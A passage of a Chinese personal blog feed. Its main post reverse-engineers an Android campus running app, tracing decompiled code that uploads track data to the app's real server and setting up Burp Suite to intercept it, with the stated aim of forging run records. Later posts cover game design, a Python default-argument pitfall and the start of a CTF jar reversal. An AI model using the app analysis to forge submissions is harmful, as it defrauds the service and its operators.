href="http://58.213.141.235:8080/qmjs_FEP/">http://58.213.141.235:8080/qmjs_FEP/</a><br>那么也就是说，发送的地址就为：<br><a href="http://58.213.141.235:8080/qmjs_FEP/datewalk/createSportTrack.action">http://58.213.141.235:8080/qmjs_FEP/datewalk/createSportTrack.action</a><br>这个地址就会将我们的数据上传上去。然后我们尝试访问<br><a href="http://58.213.141.235:8080/qmjd_FEP">http://58.213.141.235:8080/qmjd_FEP</a><br>发现内容为<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_entry.png" alt=""><br>感觉已经很接近了，我们尝试访问我们的createSportTrack：<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_error.png" alt=""><br>访问失败？看起来我们必须伪造一份请求数据（还的是json），然后里面有要求的元素的场合，我们才有可能成功访问。。。<br>那么我们回到原先的代码，看看都传输了什么数据过去:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"> </span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">savePoints</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"> ...</span><br><span class="line">      <span class="type">HashMap</span> <span class="variable">localHashMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">      <span class="comment">// 检查登陆信息</span></span><br><span class="line">      GPSRouteActivity.<span class="built_in">this</span>.checkLoginInfo();</span><br><span class="line">      localHashMap.put(<span class="string">&quot;userId&quot;</span>, BodyBuildingUtil.mLoginEntity.getLoginEntity().getUserId());</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 注意关键变量gpsPositionModules</span></span><br><span class="line">      String str1;</span><br><span class="line">      <span class="keyword">if</span> ((GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules != <span class="literal">null</span>) &amp;&amp; (GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules.size() &gt; <span class="number">0</span>))</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="comment">// 参数【经度】</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;latitude&quot;</span>, ((GPSPositionModule)GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules.get(-<span class="number">1</span> + GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules.size())).getLat() + <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="comment">// 参数【维度】</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;longitude&quot;</span>, ((GPSPositionModule)GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules.get(-<span class="number">1</span> + GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules.size())).getLng() + <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="comment">// 参数【运动持续时间】</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;sportDuration&quot;</span>, GPSRouteActivity.<span class="built_in">this</span>.mTv_sport_time.getText().toString());</span><br><span class="line">        <span class="comment">// 参数【英里数】</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;mileage&quot;</span>, <span class="number">1000.0D</span> * Double.parseDouble(GPSRouteActivity.<span class="built_in">this</span>.mTv_sport_km.getText().toString()) + <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="comment">// 参数【运动种类】（？）</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;sportType&quot;</span>, GPSRouteActivity.<span class="built_in">this</span>.sportType);</span><br><span class="line">        <span class="comment">// 参数【位置】</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;positions&quot;</span>, GPSRouteActivity.<span class="built_in">this</span>.gpsPositionModules);</span><br><span class="line">        <span class="comment">// 参数【目标（？）】应该是那几个点</span></span><br><span class="line">        <span class="keyword">if</span> (GPSRouteActivity.<span class="built_in">this</span>.saveToTraget)</span><br><span class="line">        &#123;</span><br><span class="line"></span><br><span class="line">          localHashMap.put(<span class="string">&quot;targetId&quot;</span>, ((TargetModel)GPSRouteActivity.<span class="built_in">this</span>.targets.get(GPSRouteActivity.<span class="built_in">this</span>.chooseposition)).getTarget_release_id());</span><br><span class="line">          localHashMap.put(<span class="string">&quot;teamId&quot;</span>, ((TargetModel)GPSRouteActivity.<span class="built_in">this</span>.targets.get(GPSRouteActivity.<span class="built_in">this</span>.chooseposition)).getTeam_ref_id());</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 参数【计步器种类】</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;pedomType&quot;</span>, <span class="string">&quot;2&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 是否完成打卡（？）</span></span><br><span class="line">        <span class="keyword">if</span> ((GPSRouteActivity.<span class="built_in">this</span>.isOK == <span class="literal">null</span>) || (GPSRouteActivity.<span class="built_in">this</span>.isOK.equals(<span class="string">&quot;0&quot;</span>))) &#123;</span><br><span class="line">          <span class="comment">// 跳转</span></span><br><span class="line">          <span class="keyword">break</span> invalidCount;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!GPSRouteActivity.<span class="built_in">this</span>.isOK.equals(<span class="string">&quot;1&quot;</span>)) &#123;</span><br><span class="line">          <span class="keyword">break</span> beginCount;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        str1 = <span class="string">&quot;0&quot;</span>;</span><br><span class="line">        label394:</span><br><span class="line">        localHashMap.put(<span class="string">&quot;isQualify&quot;</span>, str1);</span><br><span class="line">        <span class="keyword">if</span> (!GPSRouteActivity.<span class="built_in">this</span>.isOK.equals(<span class="string">&quot;3&quot;</span>)) &#123;</span><br><span class="line">          <span class="keyword">break</span> label602;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="type">int</span> i;</span><br><span class="line">      StringBuffer localStringBuffer;</span><br><span class="line"></span><br><span class="line">      beginCount:</span><br><span class="line">      label602:</span><br><span class="line">      <span class="keyword">for</span> (<span class="type">String</span> <span class="variable">str2</span> <span class="operator">=</span> <span class="string">&quot;3&quot;</span>;; str2 = <span class="string">&quot;1&quot;</span>)</span><br><span class="line">      &#123;</span><br><span class="line">        localHashMap.put(<span class="string">&quot;pedomType&quot;</span>, str2);</span><br><span class="line">        i = <span class="number">0</span>;</span><br><span class="line">        localStringBuffer = <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line">        <span class="comment">// 估计也就三个点</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; GPSRouteActivity.<span class="built_in">this</span>.qmrtb.getTaskPointList().size(); j++)</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="comment">// 检查这个跑步的点完成没有</span></span><br><span class="line">          <span class="keyword">if</span> (((QueryMornRunTaskBean)GPSRouteActivity.<span class="built_in">this</span>.qmrtb.getTaskPointList().get(j)).isComplete()) &#123;</span><br><span class="line">            i++;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="comment">// 取出此时的任务id</span></span><br><span class="line">          localStringBuffer.append(((QueryMornRunTaskBean)GPSRouteActivity.<span class="built_in">this</span>.qmrtb.getTaskPointList().get(j)).getTaskId() + <span class="string">&quot;,&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Configuration</span> <span class="variable">localConfiguration</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Configuration</span>(GPSRouteActivity.<span class="built_in">this</span>.getApplicationContext());</span><br><span class="line">        <span class="comment">// 再次设置经纬度</span></span><br><span class="line">        localHashMap.put(<span class="string">&quot;latitude&quot;</span>, localConfiguration.getString(<span class="string">&quot;geoLat&quot;</span>));</span><br><span class="line">        localHashMap.put(<span class="string">&quot;longitude&quot;</span>, localConfiguration.getString(<span class="string">&quot;geoLng&quot;</span>));</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">        str1 = <span class="string">&quot;1&quot;</span>;</span><br><span class="line">        <span class="keyword">break</span> label394;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">// 参数【有效打卡次数】</span></span><br><span class="line">      localHashMap.put(<span class="string">&quot;pointCount&quot;</span>, <span class="string">&quot;&quot;</span> + i);</span><br><span class="line">      <span class="comment">// 参数【任务id】，一般为三个id</span></span><br><span class="line">      localHashMap.put(<span class="string">&quot;taskIds&quot;</span>, localStringBuffer.toString());</span><br><span class="line"></span><br><span class="line">      invalidCount:</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 参数【无效的打卡个数】</span></span><br><span class="line">      localHashMap.put(<span class="string">&quot;invalidCount&quot;</span>, <span class="string">&quot;&quot;</span> + GPSRouteActivity.<span class="built_in">this</span>.invalidCount);</span><br><span class="line">      <span class="comment">// 重点！将当前参数发送请求</span></span><br><span class="line">      GPSRouteActivity.<span class="built_in">this</span>.http.httpRequest(<span class="number">5307</span>, localHashMap, <span class="literal">false</span>, SaveRouteResult.class, <span class="literal">true</span>, <span class="literal">false</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onPostExecute</span><span class="params">(Void paramAnonymousVoid)</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">super</span>.onPostExecute(paramAnonymousVoid);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;.execute(<span class="keyword">new</span> <span class="title class_">Void</span>[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从分析上看，这一段代码主要是在完成我们的跑步路线的设置，而我们的登陆过程显然不是在这里完成的，注意到一个函数：<br>GPSRouteActivity.this.checkLoginInfo();<br>这个函数将会检查我们的登陆信息，这个函数内容为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">checkLoginInfo</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (!StringUtil.isNotEmpty(BodyBuildingUtil.mLoginEntity.getLoginEntity().getUserId())) &#123;</span><br><span class="line">    BodyBuildingUtil.mLoginEntity = <span class="keyword">new</span> <span class="title class_">DataBaseManager</span>(<span class="built_in">this</span>).selectUserMessage();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>就是一个简单的检查函数，关键就是这个BodyBuildUtil这个对象，里面似乎会存放我们的【个人登陆信息】。检查过程就不贴出来了。因为数据量太大了。。。想要看出来好像有点麻烦。。。。。。<br>所以我选择了ask question，结果居然是sun it<br>卧槽<br>惊了<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_mdzz.jpg" alt=""><br>以我的水平目前还是做不到的。。。这里就先搁着了。</p><h3 id="3-6">3.6</h3><p>学习了一下抓包的技巧，再次记录<br>首先让手机连接电脑打开的wifi，然后打开burpsuite<br>找到proxy下的options选项<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_burpsuite.png" alt=""><br>然后选择add监听更多端口，并且设置如下:<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_burpsuite2.png" alt=""><br>接下来我们进入手机wifi的设置，设置无线的代理配置如下:<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_burpsuite3.png" alt=""><br>就能够通过burpsuite抓取手机上的数据包了！接下来我们查找有关http://58.213.141.235:8080/qmjs_FEP/datewalk/createSportTrack.action url的数据包，结果发现为：<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_burpsuite5.png" alt=""><br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_burpsuite4.png" alt=""></p><h3 id="原地爆炸">原地爆炸！</h3><p>这个body是个什么鸡！！！！！！！！！！为什么这么长长长长。。。。。。。。。。。仔细想了一下，header中并没有提到我们的奔跑数据，那么这个位置上的数据，就应该是我们GPS所记录的奔跑数据了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个mdschool app 我老早就打算研究。本周末的pwnhub的题目好难，而且还是web，我完全不会，所以干脆研究这个好了.&lt;/p&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="android" scheme="https://showlinkroom.me/tags/android/"/>
    
  </entry>
  
  <entry>
    <title>Game-Intruductions</title>
    <link href="https://showlinkroom.me/2017/02/27/Game-Intruductions/"/>
    <id>https://showlinkroom.me/2017/02/27/Game-Intruductions/</id>
    <published>2017-02-27T02:56:13.000Z</published>
    <updated>2020-07-16T13:31:30.382Z</updated>
    
    <content type="html"><![CDATA[<p>缠着同学加入了一个他们的游戏项目（激动），这里记录一下游戏的开发进度好了。</p><span id="more"></span><h1 id="游戏策划案">游戏策划案</h1><h2 id="游戏概述">游戏概述</h2><h3 id="一-游戏故事背景">（一） 游戏故事背景</h3><p>某年，人类因巨大灵力波动潮而灭绝，故事发生在人类神秘灭绝后的大陆，度过了几千年的无文明时代，这片新大陆迎来了新的住民，来到这片大陆上的新住民分裂成了三股势力。有的敬畏自然与灵力的力量居住在丛林之中，被称为A族，有的通过研究遗留下来的先知遗迹意欲发展机械的力量，逐渐壮大发展为B族。敬畏灵力的A族认为发展机械力量是重蹈人类的覆辙，因此AB两族常年处于敌对状态。大陆上还存在一个神秘的中立力量，据传说中立力量结合了两种力量研究出炼金之力，意欲隐居在大陆之中。而我们的主角，身世成谜，有着自己独特的战法，闯荡于新大陆之上。</p><h3 id="二-游戏类型">（二） 游戏类型</h3><p>2D横版多人格斗（dnf）。</p><h3 id="三-运行环境">（三） 运行环境</h3><p>win7及以上。</p><h3 id="四-开发语言环境">（四） 开发语言环境</h3><ul><li><ol><li>游戏系统实现脚本：C#；</li></ol></li><li><ol start="2"><li>内嵌脚本：lua；</li></ol></li><li><ol start="3"><li>通信程序：C++。</li></ol></li></ul><h3 id="五-游戏开发引擎">（五） 游戏开发引擎</h3><p>Unity 5</p><h1 id="二-游戏基本机制">二、  游戏基本机制</h1><h2 id="一-游戏基本流程">（一） 游戏基本流程</h2><h3 id="1-可选游戏角色定位">1.  可选游戏角色定位</h3><p>基本角色类别分为四类：</p><h3 id="1-平衡型">(1) 平衡型</h3><p>属于面向新手入门的角色，这类角色各属性居中，技能包含各种种类的技能，没有明显偏向，属于全能型角色。<br><img src="/2017/02/27/Game-Intruductions/Game-Starter.jpg" alt=""><br>主角正背<br><img src="/2017/02/27/Game-Intruductions/Game-Starter02.jpg" alt=""><br>主角</p><h3 id="2-输出型">(2) 输出型</h3><p>这类角色特色在于招式的伤害和控制都很强，但是血量和防御都较低，属于结合控制效果瞬间对敌人造成大量伤害的爆发进攻型角色，在防御方面略显不足，容易被对手造成大硬直。<br><img src="/2017/02/27/Game-Intruductions/Game-Archer.jpg" alt=""><br>精灵<br><img src="/2017/02/27/Game-Intruductions/Game-Science.png" alt=""><br>术士A<br><img src="/2017/02/27/Game-Intruductions/Game-Science02.jpg" alt=""><br>术士A</p><h3 id="坦克型">坦克型</h3><p>这类角色特色在于血量和防御都较高，对伤害产生更小的硬直，带有较多的霸体技能，但是灵活性较差，属于承受较多伤害同时对敌人进行硬攻击的角色。<br><img src="/2017/02/27/Game-Intruductions/Game-Rider.jpg" alt=""><br>兽娘B<br><img src="/2017/02/27/Game-Intruductions/Game-Rider02.jpg" alt=""><br>兽娘B正侧背面</p><h3 id="敏捷型">敏捷型</h3><p>这类角色的特色在于灵活性很强，适合于消耗对方血量的游击战术，可能带有小幅再生回血技能，闪避技能冷却更快，行动速度更快。但血量和防御偏低，伤害的爆发性不强，<br>（暂时没图片啦啦啦）</p><h3 id="2-游戏限制条件">2.  游戏限制条件</h3><p>人物技能的施放由两项因素限制：技能的冷却时间、人物精力值。</p><h3 id="3-游戏的胜利条件">3.  游戏的胜利条件</h3><p>玩家控制角色在同一地图上进行格斗，血量先耗尽的一方为输家，另一方为赢家。</p><h2 id="二-角色基本状态">（二） 角色基本状态</h2><h3 id="1-格挡状态：">1. 格挡状态：</h3><p><img src="/2017/02/27/Game-Intruductions/Game-Defense.png" alt=""><br>玩家按下格挡按钮，会对攻击进行格档：</p><ul><li>完美格挡:发动格挡后短时间内被攻击，此时防御大量伤害，不产生硬直</li><li>不完美格挡:不产生硬直,进入破格判断</li></ul><p>破格判定:未发生完美格挡的时候发生，此时角色的格挡值会随着每次被攻击的时候下降（下降程度取决于攻击技能），当下降为0的时候，格挡失效，造成大硬直和小伤害</p><h3 id="2-硬直">2. 硬直:</h3><p>描述；<br>此状态下，玩家不能够操作对应人物，同时人物会发生一定位移</p><p>触发条件<br>玩家在【技能释放】受到攻击或者【破格】状态下触发</p><p>时间长度(算法决定):<br>由</p><ul><li>角色属性</li><li>技能造成硬直时间</li><li>当前状态（包括是否处于吟唱状态）<br>共同决定</li></ul><h3 id="3-倒地状态">3. 倒地状态</h3><p>描述：无敌状态，特定技能如击地技能可以对倒地玩家造成伤害。若玩家不施放自救技能，无敌判定直到人物完成起身动作后。特定角色的起身动作会对周围的玩家造成伤害（被动技能）此时 不可控制游戏角色。<br>触发条件：系统硬性保护机制触发（单次连招内血量耗损为触发条件）<br>时间长度：固定时长<br>备注：若倒地后遭受攻击后继续倒地，相应的倒地时间会按照算法衰减。<br><img src="/2017/02/27/Game-Intruductions/Game-down.png" alt=""></p><h3 id="4-腾空状态">4.  腾空状态</h3><p>描述：人物纵向坐标大于一定高度进入浮空状态，浮空状态仅可使用浮空状态下的技能。浮空状态有伤害判定，浮空状态下受到连招有相应的硬性保护机制会形成强制倒地。</p><p>触发条件：人物受到向上方向的力（技能造成）导致纵向位移达到一定高度、人物进行跳跃操作时触发。<br><img src="/2017/02/27/Game-Intruductions/Game-flow.png" alt=""></p><h3 id="5-技能施放状态">5.  技能施放状态</h3><p>描述：技能施放状态下，角色进入一定的无操作响应的硬直。这段硬直过程中，根据技能特性给角色带来buff（如减伤，增加抗硬直，霸体等）和debuff（如易受到硬直等）</p><p>触发条件：使用技能<br><img src="/2017/02/27/Game-Intruductions/Game-Skill.png" alt=""></p><h2 id="三-角色技能">（三） 角色技能</h2><ol><li>技能触发条件（冷却，蓝耗等）</li><li>技能种类（根据有多少个碰撞判定体区分）</li></ol><h2 id="四-地图结构及组成">（四） 地图结构及组成</h2><p>霸体：<br>触发条件<br>（？）</p><p>描述；<br>此状态下，玩家的【技能释放】不受到影响</p><p>时间长度：</p><ul><li>角色属性</li><li>触发条件<br>共同决定</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;缠着同学加入了一个他们的游戏项目（激动），这里记录一下游戏的开发进度好了。&lt;/p&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="Game" scheme="https://showlinkroom.me/tags/Game/"/>
    
  </entry>
  
  <entry>
    <title>python与传入参数</title>
    <link href="https://showlinkroom.me/2017/02/24/python%E4%B8%8E%E4%BC%A0%E5%85%A5%E5%8F%82%E6%95%B0/"/>
    <id>https://showlinkroom.me/2017/02/24/python%E4%B8%8E%E4%BC%A0%E5%85%A5%E5%8F%82%E6%95%B0/</id>
    <published>2017-02-24T06:45:32.000Z</published>
    <updated>2020-07-16T13:31:30.407Z</updated>
    
    <content type="html"><![CDATA[<p>最近看到的文章中提到的一个神奇的现象。。。</p><span id="more"></span><h3 id="python与其处理传入参数的方式">python与其处理传入参数的方式</h3><p>首先我们来看下面的程序:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">extend_list</span>(<span class="params">val, l=[]</span>):</span><br><span class="line">    l.append(val)</span><br><span class="line">    <span class="keyword">return</span> l</span><br><span class="line"></span><br><span class="line">list1 = extend_list(<span class="number">10</span>)</span><br><span class="line">list2 = extend_list(<span class="string">&#x27;a&#x27;</span>)</span><br></pre></td></tr></table></figure><p>这个list1和list2的输出是什么呢？<br>一般来说应该会认为是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; list1</span><br><span class="line">[10]</span><br><span class="line">&gt;&gt;&gt; list2</span><br><span class="line">[&#x27;a&#x27;]</span><br></pre></td></tr></table></figure><p>然而实际上答案却不是这样的。。。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>list1</span><br><span class="line">[<span class="number">10</span>, <span class="string">&#x27;a&#x27;</span>]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>list2</span><br><span class="line">[<span class="number">10</span>, <span class="string">&#x27;a&#x27;</span>]</span><br></pre></td></tr></table></figure><p>会发现，list1指向的list在第二次extend_list执行的过程中，依然参与了函数的运算？这是为什么呢。。。</p><h3 id="python的参数">python的参数</h3><p>对于python这类程序来说，变量不是[指针]而是[句柄],也就是说,python中的变量都只是一个指向内存位置的id。然而每次在定义一个函数的时候，可能是为了节约空间，所有的mutable对象都只会在定义的时候初始化一次，这就意味着，无论我们调用多少次这个函数，<strong>返回值中的list始终是同一个</strong>，所以当我们调用函数次数越多，list中的元素也就越多。</p><p>为了检验这一点，我们使用id()来检查这一点:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">def</span> <span class="title function_">extend_list</span>(<span class="params">val, l=[]</span>):</span><br><span class="line">    l.append(val)</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">id</span>(val))</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">id</span>(l))</span><br><span class="line">    <span class="keyword">return</span> l</span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>list1 = extend_list(<span class="number">10</span>)</span><br><span class="line"><span class="number">1774757232</span></span><br><span class="line"><span class="number">61171016</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>list2 = extend_list(<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line"><span class="number">45571912</span></span><br><span class="line"><span class="number">61171016</span></span><br></pre></td></tr></table></figure><p>从这里可以看出，我们的val值对应的id始终是不一样的，而这个l始终指向了同一个内存地址。因此此时修改list1，list2或者再次调用函数，都将会对他们指向的那个list造成影响。</p><h3 id="避免办法">避免办法</h3><p>这个问题官方是有提到的,官方不建议那mutable作为参数,取而代之的是:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">f</span>(<span class="params">a, L=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">if</span> L <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        L = []</span><br><span class="line">    L.append(a)</span><br><span class="line">    <span class="keyword">return</span> L</span><br></pre></td></tr></table></figure><p>使用不可变参数None作为传入。</p><p>或者，我们可以在传入时产生一个副本（参考知乎大佬）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">foo</span>(<span class="params">bar=[]</span>):</span><br><span class="line">    bar = <span class="built_in">list</span>(bar)</span><br></pre></td></tr></table></figure><p>这样的话每次bar对应的都是另一个list，同样可以避免问题。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近看到的文章中提到的一个神奇的现象。。。&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>pwnhub-sxbk</title>
    <link href="https://showlinkroom.me/2017/02/17/pwnhub-sxbk/"/>
    <id>https://showlinkroom.me/2017/02/17/pwnhub-sxbk/</id>
    <published>2017-02-17T13:04:43.000Z</published>
    <updated>2020-07-16T13:31:30.404Z</updated>
    
    <content type="html"><![CDATA[<p>pwnhub的话，都是超级难的题目，这里先尝试解一下题吧，也算是尝试。</p><span id="more"></span><h2 id="丧心病狂">丧心病狂</h2><p>这个题目。。。吓到我了，下下来是一个.jar文件，于是直接拖到jd-gui里面反编译，然后。。<br><img src="/2017/02/17/pwnhub-sxbk/pwnhub-01.png" alt=""><br>我艹艹艹。。。。这么多类。。。。然后先看一看MANIFEST设置文件好了。。。然后发现里面写了主类:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Manifest-Version: <span class="number">1.0</span></span><br><span class="line">Main-Class: pwnhub.a02c83a7dbd96295beaefb72c2bee2de</span><br></pre></td></tr></table></figure><p>好吧顺着找过去:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.io.PrintStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">a02c83a7dbd96295beaefb72c2bee2de</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">static</span> String code;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span></span><br><span class="line">    <span class="keyword">throws</span> Exception</span><br><span class="line">  &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;no passcode, no game&quot;</span>);</span><br><span class="line">    System.out.print(<span class="string">&quot;code:&quot;</span>);</span><br><span class="line">    <span class="type">BufferedReader</span> <span class="variable">strin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title 